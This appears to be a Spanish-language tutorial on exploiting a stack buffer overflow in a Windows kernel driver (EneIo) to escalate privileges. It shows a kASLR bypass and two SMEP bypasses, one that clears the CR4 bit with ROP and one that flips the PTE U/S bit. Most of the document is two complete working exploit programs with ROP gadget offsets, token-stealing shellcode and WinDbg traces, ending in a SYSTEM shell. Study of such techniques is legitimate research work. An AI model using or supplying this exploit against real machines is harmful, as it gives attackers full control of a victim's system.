La función EnumDeviceDrivers nos devuelve una lista con las direcciones base de todos los controladores del dispositivo, el primer valor devuelto en el arreglo es la dirección de ntoskrnl.exe así que tenemos una forma fácil de bypassear kASLR.

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

#define QWORD ULONGLONG

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

int main() {
    QWORD kernelBase = GetKernelBase();
    printf("[*] Kenel Base: 0x%llx\n", kernelBase);

    return 0;
}

Solo para verificarlo compilamos y ejecutamos el programa, al hacerlo nos devuelve una dirección en modo kernel, si miramos desde el debugger es la misma que nt.

C:\Users\user\Desktop> exploit.exe
[*] Kenel Base: 0xfffff8062b000000

C:\Users\user\Desktop>

0: kd> lm m nt
Browse full module list
start             end                 module name
fffff806`2b000000 fffff806`2c046000   nt         (pdb symbols)


CR4 Method


Para el primer método vamos a entender que es lo que activa el SMEP, el bit 20 del registro cr4 controla la protección, si el bit es 1 está encendido, si es 0 apagado, desde el debugger podemos encontrar que en nuestra máquina si está encendido.

0: kd> .formats cr4
Evaluate expression:
  Hex:     00000000`00350ef8
  Decimal: 3477240
  Decimal (unsigned) : 3477240
  Octal:   0000000000000015207370
  Binary:  00000000 00000000 00000000 00000000 00000000 00110101 00001110 11111000
  Chars:   .....5..
  Time:    Mon Feb  9 23:54:00 1970
  Float:   low 4.87265e-039 high 0
  Double:  1.71798e-317

El valor actual de cr4 es 0x350ef8, pero si apagamos el bit 20 se convierte a 0x250ef8, por lo que podemos hacer rop para darle ese valor y desactivar SMEP.

0: kd> ? cr4 ^ (1 << 0n20)
Evaluate expression: 2428664 = 00000000`00250ef8

Para cambiar el valor del registro podemos usar los siguientes 2 gadgets dentro de nt, el primero guarda un valor en rcx y el segundo mueve el valor de rcx a cr4.

(ntoskrnl.exe/PE/x86_64)> search pop rcx; ret;
[INFO] Searching for gadgets: pop rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000002079ac: pop rcx; ret;

(ntoskrnl.exe/PE/x86_64)> search mov cr4, rcx; ret;
[INFO] Searching for gadgets: mov cr4, rcx; ret;

[INFO] File: ntoskrnl.exe
0x00000000003a0397: mov cr4, rcx; ret;

(ntoskrnl.exe/PE/x86_64)>

Entonces, luego de rellenar el buffer con A's sobrescribiremos el retorno con una cadena rop, guarda en rcx el valor del registro cr4 con el bit 20 apagado, luego sobrescribe el registro cr4 actual y finalmente solo retorna a nuestro shellcode.

QWORD *rop = (QWORD *) ((QWORD) payload + 56);

*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x250ef8;              // SMEP bit off (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
*rop++ = (QWORD) shellcode;             // token stealing

Luego de ejecutar el shellcode al retornar continuaremos la cadena rop, guardamos en rcx el valor del registro cr4 ahora con el bit 20 encendido y lo restauramos.

*rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) 0x350ef8;              // SMEP bit on (20)
*rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;

Antes vimos que hay una dirección de retorno válida 0x38 bytes adelante del rsp, considerando el primer gadget como el retorno solo hemos añadido 0x30 bytes así que tenemos 2 opciones, en el shellcode ejecutamos un add rsp, 0x8 o solo en la cadena rop ejecutamos un gadget que ejecute ret; para saltar al siguiente qword.

(ntoskrnl.exe/PE/x86_64)> search ret;
[INFO] Searching for gadgets: ret;

[INFO] File: ntoskrnl.exe
0x000000000020003e: ret;

(ntoskrnl.exe/PE/x86_64)>

*rop++ = (QWORD) kernelBase + 0x20003e; // ret;  

Nuestro exploit final se ve de la siguiente manera, a través del Buffer Overflow sobrescribe el stack con una cadena rop que apaga el bit 20 del registro cr4 y desactiva SMEP, luego ejecuta el shellcode y al terminar solo lo vuelve a activar.

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[60] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0xc3                                                  // ret                              ; return
};

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 120, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 56, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    QWORD kernelBase = GetKernelBase();
    QWORD *rop = (QWORD *) ((QWORD) payload + 56);

    *rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
    *rop++ = (QWORD) 0x250ef8;              // SMEP bit off (20)
    *rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
    *rop++ = (QWORD) shellcode;             // token stealing
    *rop++ = (QWORD) kernelBase + 0x2079ac; // pop rcx; ret;
    *rop++ = (QWORD) 0x350ef8;              // SMEP bit on (20)
    *rop++ = (QWORD) kernelBase + 0x3a0397; // mov cr4, rcx; ret;
    *rop++ = (QWORD) kernelBase + 0x20003e; // ret;

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 120, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    system("cmd.exe");
    return 0;
}

Entonces, ejecutamos el exploit y llegamos al breakpoint, ahora al llegar al ret vulnerable revisamos el stack y podemos ver que retornará a la cadena rop.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff806`2fc314b8 c3              ret

0: kd> dqs rsp L8
ffffa089`1e8997e8  fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e8997f0  00000000`00250ef8
ffffa089`1e8997f8  fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899800  000001ff`39e00000
ffffa089`1e899808  fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e899810  00000000`00350ef8
ffffa089`1e899818  fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899820  fffff806`2b20003e nt!VrpOriginalKeyNameParameterCleanup+0x2e

Empezamos a ejecutar la cadena, primero guarda en rcx con un pop el valor del nuevo cr4 y lo mueve usando un mov, al hacerlo el SMEP estará desactivado.

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`2b2079ac 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`2b2079ad c3              ret

0: kd> r rcx
rcx=0000000000250ef8

0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`2b3a0397 0f22e1          mov     cr4,rcx

0: kd> p
000001ff`39e00000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> r cr4
cr4=0000000000250ef8

Ahora estamos en el inicio del shellcode, si saltamos hasta el ret podemos ver que se ejecuta sin activar SMEP, al terminar en el stack continúa nuestra cadena rop.

0: kd> u rip L0xc
000001ff`39e00000 65488b142588010000 mov     rdx,qword ptr gs:[188h]
000001ff`39e00009 488b82b8000000     mov     rax,qword ptr [rdx+0B8h]
000001ff`39e00010 50                 push    rax
000001ff`39e00011 5b                 pop     rbx
000001ff`39e00012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]
000001ff`39e00019 4881eb48040000     sub     rbx,448h
000001ff`39e00020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
000001ff`39e00028 75e8               jne     000001ff`39e00012
000001ff`39e0002a 488b8bb8040000     mov     rcx,qword ptr [rbx+4B8h]
000001ff`39e00031 80e1f0             and     cl,0F0h
000001ff`39e00034 488988b8040000     mov     qword ptr [rax+4B8h],rcx
000001ff`39e0003b c3                 ret

0: kd> pt
000001ff`39e0003b c3              ret

0: kd> dqs rsp L5
ffffa089`1e899808  fffff806`2b2079ac nt!KiSetAddressPolicy+0x1c
ffffa089`1e899810  00000000`00350ef8
ffffa089`1e899818  fffff806`2b3a0397 nt!KeFlushCurrentTbImmediately+0x17
ffffa089`1e899820  fffff806`2b20003e nt!VrpOriginalKeyNameParameterCleanup+0x2e
ffffa089`1e899828  fffff806`2b64c801 nt!IopSynchronousServiceTail+0x361

Después de ejecutar el shellcode continuamos la cadena rop que restaura el cr4.

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff806`2b2079ac 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff806`2b2079ad c3              ret

0: kd> r rcx
rcx=0000000000350ef8

0: kd> p
nt!KeFlushCurrentTbImmediately+0x17:
fffff806`2b3a0397 0f22e1          mov     cr4,rcx

0: kd> p
nt!VrpOriginalKeyNameParameterCleanup+0x2e:
fffff806`2b20003e c3              ret

0: kd> r cr4
cr4=0000000000350ef8

En el ret final podemos ver que retornará a la instrucción dentro de la función IopSynchronousServiceTail saliendo correctamente de la llamada al driver, esto lo comprobamos ya que si continuamos la ejecución continúa sin llegar a corromper.

0: kd> dqs rsp L1
ffffa089`1e899828  fffff806`2b64c801 nt!IopSynchronousServiceTail+0x361

0: kd> g
Debuggee is running...

Solo nos queda probarlo fuera del debugger, al hacerlo podemos ver que hicimos bypass de la protección SMEP y conseguimos una shell como nt authority\system.

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>


PTE Method


Para nuestro segundo método es necesario entender algunas cosas, las direcciones virtuales pasan por un proceso de traducción para obtener la dirección física real a través de tablas, estas establecen cosas como bits de permisos y protecciones.

Resulta que de acuerdo a investigaciones la protección SMEP solo trabaja cuando la página es marcada como memoria en espacio de usuario, pero si el bit 2 que representa U/S de la PTE está deshabilitado tratará la página como espacio en memoria de tipo kernel por lo que ni siquiera debería molestarse en verificarlo.

Volvamos al exploit inicial donde en el ret ejecutará el shellcode, si buscamos la PTE de la dirección de nuestro shellcode se encuentra en 0xffffca0129b10f00.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff801`47ac14b8 c3              ret

0: kd> !pte poi(rsp)
                                           VA 00000253621e0000
PXE at FFFFCA6532994020    PPE at FFFFCA6532804A68    PDE at FFFFCA650094D880    PTE at FFFFCA0129B10F00
contains 0A000001BB56F867  contains 0A000001BF970867  contains 0A000001BC371867  contains 00000001BF6CD867
pfn 1bb56f    ---DA--UWEV  pfn 1bf970    ---DA--UWEV  pfn 1bc371    ---DA--UWEV  pfn 1bf6cd    ---DA--UWEV

El único byte que se debería mantener constante es el 0x67, si lo convertimos a formato binario podemos saber cuales de los bits están encendidos o apagados.

0: kd> db 0xffffca0129b10f00 L8
ffffca01`29b10f00  67 d8 6c bf 01 00 00 00                          c.l.....

0: kd> .formats 0x67
Evaluate expression:
  Hex:     00000000`00000067
  Decimal: 103
  Decimal (unsigned) : 103
  Octal:   0000000000000000000147
  Binary:  00000000 00000000 00000000 00000000 00000000 00000000 00000000 01100111
  Chars:   .......g
  Time:    Wed Dec 31 18:01:43 1969
  Float:   low 1.44334e-043 high 0
  Double:  5.08888e-322

0: kd> ? 0x67 ^ (1 << 2)
Evaluate expression: 99 = 00000000`00000063

De los bits que están prendidos podemos ver al 0 que la página está en memoria física, el bit 1 controla los permisos de escritura, el bit 5 que la página ha sido leída y finalmente el 6 que la página ha sido escrita, en realidad solo nos interesa el 2.

Si cambiamos el byte de 0x67 a 0x63 entonces apagaremos el bit U/S que indica memoria de usuario por lo que en la PTE estará marcada como memoria de kernel.

0: kd> eb 0xffffca0129b10f00 0x63

0: kd> !pte poi(rsp)
                                           VA 00000253621e0000
PXE at FFFFCA6532994020    PPE at FFFFCA6532804A68    PDE at FFFFCA650094D880    PTE at FFFFCA0129B10F00
contains 0A000001BB56F867  contains 0A000001BF970867  contains 0A000001BC371867  contains 00000001BF6CD863
pfn 1bb56f    ---DA--UWEV  pfn 1bf970    ---DA--UWEV  pfn 1bc371    ---DA--UWEV  pfn 1bf6cd    ---DA--KWEV

Para obtener la PTE de la página donde se encuentra el shellcode podemos usar la función MiGetPteAddress que se encuentra en el offset 0x298780 a partir de nt.

Nuestra cadena rop inicia guardando en el registro rcx la dirección de nuestro shellcode para usarlo como argumento, luego llama a la función MiGetPteAddress, esta devuelve en el registro rax la dirección de la PTE de nuestro shellcode.

*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing
*rop++ = kernelBase + 0x298780; // MiGetPteAddress

Luego guarda en rcx el byte con el bit U/S apagado, finalmente mueve a [rax] el valor del registro cl que contiene byte que sobrescribe el 0x67 original por 0x63.

*rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
*rop++ = 0x63;                  // U/S bit off (2)
*rop++ = kernelBase + 0x49cadd; // mov byte ptr [rax], cl; ret;

Como estamos modificando las tablas de paginación, usaremos el gadget wbinvd para invalidar las TLB y carga de nuevo las tablas evitando así un posible BSOD, finalmente para terminar la cadena rop simplemente retornaremos al shellcode.

*rop++ = kernelBase + 0x381b30; // wbinvd; ret;
*rop++ = (QWORD) shellcode;     // Token Stealing

Nuestro exploit final se ve de la siguiente manera, a través del Buffer Overflow sobrescribe el stack con una cadena rop que apaga el bit 2 de la PTE, ahora el shellcode se marcará como memoria de kernel y al ejecutarlo no invocará a SMEP.

#include <windows.h>
#include <stdio.h>
#include <psapi.h>

#define IOCTL_STACK_OVERFLOW 0x80102040
#define QWORD ULONGLONG

BYTE tokenStealing[60] = {
    0x65, 0x48, 0x8b, 0x14, 0x25, 0x88, 0x01, 0x00, 0x00, // mov rdx, [gs:0x188]              ; $rdx = _KTHREAD
    0x48, 0x8b, 0x82, 0xb8, 0x00, 0x00, 0x00,             // mov rax, [rdx + 0xb8]            ; $rax = _EPROCESS
    0x50, 0x5b,                                           // mov rbx, rax                     ; $rbx = _EPROCESS
                                                          // .loop:
    0x48, 0x8b, 0x9b, 0x48, 0x04, 0x00, 0x00,             //     mov rbx, [rbx + 0x448]       ; $rbx = ActiveProcessLinks
    0x48, 0x81, 0xeb, 0x48, 0x04, 0x00, 0x00,             //     sub rbx, 0x448               ; $rbx = _EPROCESS
    0x48, 0x83, 0xbb, 0x40, 0x04, 0x00, 0x00, 0x04,       //     cmp qword [rbx + 0x440], 0x4 ; cmp PID to SYSTEM PID
    0x75, 0xe8,                                           //     jnz .loop                    ; if zf == 0 -> loop
    0x48, 0x8b, 0x8b, 0xb8, 0x04, 0x00, 0x00,             // mov rcx, [rbx + 0x4b8]           ; $rcx = SYSTEM token
    0x80, 0xe1, 0xf0,                                     // and cl, 0xf0                     ; clear _EX_FAST_REF struct
    0x48, 0x89, 0x88, 0xb8, 0x04, 0x00, 0x00,             // mov [rax + 0x4b8], rcx           ; store SYSTEM token in _EPROCESS
    0xc3                                                  // ret                              ; return
};

QWORD GetKernelBase() {
    LPVOID drivers[1024];
    DWORD cbNeeded;

    EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded);
    return (QWORD) drivers[0];
}

int main() {
    HANDLE hDevice = CreateFileA("\\\\.\\EneIo", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("[-] Failed to get handle: 0x%x\n", GetLastError());
        exit(EXIT_FAILURE);
    }

    LPVOID payload = VirtualAlloc(NULL, 120, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    LPVOID shellcode = VirtualAlloc(NULL, sizeof(tokenStealing), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    RtlFillMemory(payload, 56, 'A');
    RtlCopyMemory(shellcode, tokenStealing, sizeof(tokenStealing));

    QWORD kernelBase = GetKernelBase();
    QWORD *rop = (QWORD *) ((QWORD) payload + 56);

    *rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
    *rop++ = (QWORD) shellcode;     // Token Stealing
    *rop++ = kernelBase + 0x298780; // MiGetPteAddress
    *rop++ = kernelBase + 0x2079ac; // pop rcx; ret;
    *rop++ = 0x63;                  // U/S bit off (2)
    *rop++ = kernelBase + 0x49cadd; // mov byte ptr [rax], cl; ret;
    *rop++ = kernelBase + 0x381b30; // wbinvd; ret;
    *rop++ = (QWORD) shellcode;     // Token Stealing

    DeviceIoControl(hDevice, IOCTL_STACK_OVERFLOW, payload, 120, NULL, 0, NULL, NULL);
    CloseHandle(hDevice);

    system("cmd.exe");
    return 0;
}

Entonces, ejecutamos el exploit y llegamos al breakpoint, ahora al llegar al ret vulnerable revisamos el stack y podemos ver que retornará a la cadena rop.

0: kd> g
Breakpoint 0 hit
ene+0x14b8:
fffff805`5fe014b8 c3              ret

0: kd> dqs rsp L8
ffff8b09`b75b17e8  fffff805`5ba079ac nt!KiSetAddressPolicy+0x1c
ffff8b09`b75b17f0  0000022d`67550000
ffff8b09`b75b17f8  fffff805`5ba98780 nt!MiGetPteAddress
ffff8b09`b75b1800  fffff805`5ba079ac nt!KiSetAddressPolicy+0x1c
ffff8b09`b75b1808  00000000`00000063
ffff8b09`b75b1810  fffff805`5bc9cadd nt!KiPrepareFlushParameters+0x10c4b1
ffff8b09`b75b1818  fffff805`5bb81b30 nt!HalpAcpiFlushCache
ffff8b09`b75b1820  0000022d`67550000

Empezamos a ajecutar el rop, la primera parte guarda la dirección de shellcode en rcx, luego empieza a ejecutar la función MiGetPteAddress dentro del módulo nt.

0: kd> p
nt!KiSetAddressPolicy+0x1c:
fffff805`5ba079ac 59              pop     rcx

0: kd> p
nt!KiSetAddressPolicy+0x1d:
fffff805`5ba079ad c3              ret

0: kd> u rcx L0xc
0000022d`67550000 65488b142588010000 mov     rdx,qword ptr gs:[188h]
0000022d`67550009 488b82b8000000     mov     rax,qword ptr [rdx+0B8h]
0000022d`67550010 50                 push    rax
0000022d`67550011 5b                 pop     rbx
0000022d`67550012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]
0000022d`67550019 4881eb48040000     sub     rbx,448h
0000022d`67550020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
0000022d`67550028 75e8               jne     0000022d`67550012
0000022d`6755002a 488b8bb8040000     mov     rcx,qword ptr [rbx+4B8h]
0000022d`67550031 80e1f0             and     cl,0F0h
0000022d`67550034 488988b8040000     mov     qword ptr [rax+4B8h],rcx
0000022d`6755003b c3                 ret

0: kd> p
nt!MiGetPteAddress:
fffff805`5ba98780 48c1e909        shr     rcx,9

Al terminar de ejecutar la función y llegar al ret, en el registro rax se guardará la dirección de la PTE del shellcode, podemos comprobarlo usando el comando !pte, la PTE por ahora está marcada con U indicando que es espacio de modo usuario.

0: kd> pt
nt!MiGetPteAddress+0x1e:
fffff805`5ba9879e c3              ret

0: kd> !pte 0x22d67550000
                                           VA 0000022d67550000
PXE at FFFF88C462311020    PPE at FFFF88C4622045A8    PDE at FFFF88C4408B59D0    PTE at FFFF888116B3AA80
contains 0A000001F9441867  contains 0A000001F9442867  contains 0A000001F9443867  contains 00000001F7D9E867
pfn 1f9441    ---DA--UWEV  pfn 1f9442    ---DA--UWEV  pfn 1f9443    ---DA--UWEV  pfn 1f7d9e    ---DA--UWEV

0: kd> db rax L8
ffff8881`16b3aa80  67 e8 d9 f7 01 00 00 00                          g.......

Si saltamos al último gadget podemos ver 2 cosas interesantes, la primera es que la siguiente instrucción retornará al shellcode y la segunda y más interesante es que ahora la PTE está marcada con una K indicando que es memoria de kernel.

0: kd> g nt + 0x381b30
nt!HalpAcpiFlushCache:
fffff805`5bb81b30 0f09            wbinvd

0: kd> u poi(rsp) L0xc
0000022d`67550000 65488b142588010000 mov     rdx,qword ptr gs:[188h]
0000022d`67550009 488b82b8000000     mov     rax,qword ptr [rdx+0B8h]
0000022d`67550010 50                 push    rax
0000022d`67550011 5b                 pop     rbx
0000022d`67550012 488b9b48040000     mov     rbx,qword ptr [rbx+448h]
0000022d`67550019 4881eb48040000     sub     rbx,448h
0000022d`67550020 4883bb4004000004   cmp     qword ptr [rbx+440h],4
0000022d`67550028 75e8               jne     0000022d`67550012
0000022d`6755002a 488b8bb8040000     mov     rcx,qword ptr [rbx+4B8h]
0000022d`67550031 80e1f0             and     cl,0F0h
0000022d`67550034 488988b8040000     mov     qword ptr [rax+4B8h],rcx
0000022d`6755003b c3                 ret

0: kd> !pte poi(rsp)
                                           VA 0000022d67550000
PXE at FFFF88C462311020    PPE at FFFF88C4622045A8    PDE at FFFF88C4408B59D0    PTE at FFFF888116B3AA80
contains 0A000001F9441867  contains 0A000001F9442867  contains 0A000001F9443867  contains 00000001F7D9E863
pfn 1f9441    ---DA--UWEV  pfn 1f9442    ---DA--UWEV  pfn 1f9443    ---DA--UWEV  pfn 1f7d9e    ---DA--KWEV

Luego de ejecutar el shellcode sin errores, retornará a la instrucción dentro de la función IopSynchronousServiceTail saliendo correctamente de la llamada al driver, esto lo comprobamos ya que si continuamos la ejecución continúa sin corromper.

0: kd> p
0000022d`67550000 65488b142588010000 mov   rdx,qword ptr gs:[188h]

0: kd> pt
0000022d`6755003b c3              ret

0: kd> dqs rsp L1
ffff8b09`b75b1828  fffff805`5be4c801 nt!IopSynchronousServiceTail+0x361

0: kd> g
Debuggee is running...

Solo nos queda probarlo fuera del debugger, al hacerlo podemos ver que hicimos bypass de la protección SMEP y conseguimos una shell como nt authority\system.

C:\Users\user\Desktop> whoami
windows\user

C:\Users\user\Desktop> exploit.exe
Microsoft Windows [Versión 10.0.19045.6456]
(c) Microsoft Corporation. Todos los derechos reservados.

C:\Users\user\Desktop> whoami
nt authority\system

C:\Users\user\Desktop>